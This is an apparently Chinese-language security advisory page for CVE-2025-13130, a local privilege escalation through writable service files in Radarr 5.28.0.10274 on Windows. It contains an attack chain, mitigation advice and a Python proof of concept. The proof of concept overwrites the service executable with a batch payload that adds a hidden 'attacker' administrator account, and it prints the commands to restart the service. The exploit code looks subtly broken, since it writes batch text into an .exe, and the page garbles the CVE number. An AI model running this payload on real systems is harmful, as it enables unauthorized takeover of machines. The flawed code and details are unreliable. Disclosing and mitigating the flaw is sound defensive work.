IPBUF安全漏洞报告
English
CVE-2025-13130 CVSS 7.8 高危

CVE-2025-13130 Radarr服务默认权限配置错误导致本地权限提升漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13130
漏洞类型
权限配置错误
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Radarr

相关标签

权限配置错误本地权限提升RadarrWindows服务不安全默认权限CVE-2025-13130高危漏洞文件权限服务组件

漏洞概述

CVE-2025-2025-13130是影响Radarr 5.28.0.10274版本的一个高危本地权限提升漏洞。该漏洞存在于Radarr服务的安装目录(C:\ProgramData\Radarr\bin\Radarr.Console.exe)中,由于服务组件使用了不安全的默认文件权限配置,导致低权限本地用户可以修改或替换可执行文件,从而在系统级别执行任意代码。攻击者利用此漏洞可以将普通用户权限提升至系统管理员权限,完全控制受影响的Windows主机。该漏洞的CVSS评分达到7.8分,属于高危级别,攻击复杂度低,无需用户交互,攻击者只需具备本地低权限账号即可发起攻击。漏洞影响系统的机密性、完整性和可用性三个方面,均达到高影响级别。Radarr是一款流行的自动化电影管理应用,通常以服务形式运行在Windows系统上,因此该权限配置问题构成了严重的安全风险。发现者已尝试联系厂商通报此问题,但截至披露日期,厂商尚未做出任何回应或提供修复方案。

技术细节

该漏洞的根本原因在于Radarr 5.28.0.10274在Windows系统上安装时,对服务可执行文件(Radarr.Console.exe)及其相关组件设置了过于宽松的默认访问控制列表(ACL)。具体来说,文件位于C:\ProgramData\Radarr\bin\目录下,该目录及其内容默认继承了系统的宽松权限策略,允许经过身份验证的低权限用户(包括标准用户账户)具有对该目录的写入权限。攻击者可以利用Windows服务的配置特性,通过以下方式实现权限提升:首先,低权限用户可以替换或修改Radarr.Console.exe可执行文件内容,将其替换为包含恶意代码的版本;其次,当Radarr服务重启或系统启动时,服务管理器会以SYSTEM或更高权限账户身份执行被篡改的可执行文件;最后,恶意代码将以系统级权限运行,攻击者从而获得对整个系统的完全控制。由于Radarr服务通常配置为自动启动,且运行在较高权限级别,这种权限配置错误构成了严重的本地提权向量。攻击者需要本地访问权限,但不需要特殊的管理权限即可实施攻击。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统上安装的Radarr应用版本,确认版本为5.28.0.10274,并检查服务可执行文件位置(C:\ProgramData\Radarr\bin\Radarr.Console.exe)
STEP 2
步骤2
权限检查:低权限用户验证其对Radarr安装目录的写入权限,确认可以通过文件系统的访问控制列表(ACL)修改可执行文件
STEP 3
步骤3
恶意载荷准备:攻击者创建包含恶意代码的可执行文件,通常为反向Shell、远程控制木马或权限提升脚本,用于在服务上下文中以SYSTEM权限执行
STEP 4
步骤4
文件替换:攻击者备份原始的Radarr.Console.exe文件,然后用恶意可执行文件替换,同时保持相同的文件名和路径
STEP 5
步骤5
服务重启触发:等待服务管理器重启Radarr服务(可通过系统重启、计划任务或等待服务自动更新触发),使被篡改的可执行文件被加载执行
STEP 6
步骤6
权限提升成功:恶意代码在SYSTEM或高权限账户上下文中执行,攻击者获得系统完全控制权,可创建管理员账户、安装持久化后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13130 PoC - Radarr Service Privilege Escalation Target: Radarr 5.28.0.10274 on Windows Type: Insecure Default Permissions leading to Local Privilege Escalation """ import os import sys import shutil import subprocess def check_vulnerability(): """ Check if Radarr service executable has insecure permissions """ radarr_path = r"C:\ProgramData\Radarr\bin\Radarr.Console.exe" if not os.path.exists(radarr_path): print(f"[-] Radarr not found at {radarr_path}") return False # Check if current user has write permissions try: # Attempt to create a test file in the bin directory test_file = os.path.join(os.path.dirname(radarr_path), "test_write.tmp") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[+] VULNERABLE: Current user has write access to Radarr bin directory") return True except PermissionError: print("[-] NOT VULNERABLE: Write access denied") return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def exploit(): """ Exploit the vulnerability by replacing the service executable WARNING: This is for educational purposes only """ radarr_path = r"C:\ProgramData\Radarr\bin\Radarr.Console.exe" backup_path = radarr_path + ".bak" print("[*] Creating backup of original executable...") try: shutil.copy2(radarr_path, backup_path) except Exception as e: print(f"[-] Failed to create backup: {e}") return False print("[*] Replacing Radarr.Console.exe with malicious payload...") # In a real attack, this would be a malicious executable # For demonstration, we create a simple batch script that creates a new admin user malicious_payload = '''@echo off net user attacker P@ssw0rd123! /add net localgroup administrators attacker /add net localgroup "Remote Desktop Users" attacker /add ''' try: with open(radarr_path, 'w') as f: f.write(malicious_payload) print("[+] Malicious payload written successfully") print("[*] Waiting for service restart to execute payload...") print("[*] Run: sc query Radarr to check service status") print("[*] Run: net stop Radarr && net start Radarr to trigger exploitation") return True except Exception as e: print(f"[-] Failed to write payload: {e}") # Restore backup shutil.copy2(backup_path, radarr_path) return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13130 Radarr Privilege Escalation PoC") print("=" * 60) if sys.platform != "win32": print("[-] This exploit only works on Windows systems") sys.exit(1) if not check_vulnerability(): print("\n[-] Target is not vulnerable") sys.exit(0) print("\n[*] Target appears vulnerable. Manual exploitation steps:") print("1. Replace Radarr.Console.exe with your payload") print("2. Restart the Radarr service (requires some privilege)") print("3. Payload executes with SYSTEM privileges")

影响范围

Radarr 5.28.0.10274

防御指南

临时缓解措施
由于厂商尚未回应此漏洞披露,目前没有官方修复方案。建议立即采取以下临时缓解措施:首先,使用Windows icacls命令手动加固Radarr安装目录的权限,移除Authenticated Users和Users组的写入权限,仅保留SYSTEM和Administrators组具有完全控制权限;其次,考虑将Radarr服务降级为使用受限的服务账户运行,避免以SYSTEM权限执行;再次,限制对C:\ProgramData目录的访问,控制哪些用户账户可以读取和写入该目录;最后,部署文件完整性监控(FIM)解决方案,实时检测Radarr可执行文件或配置文件的任何未授权修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表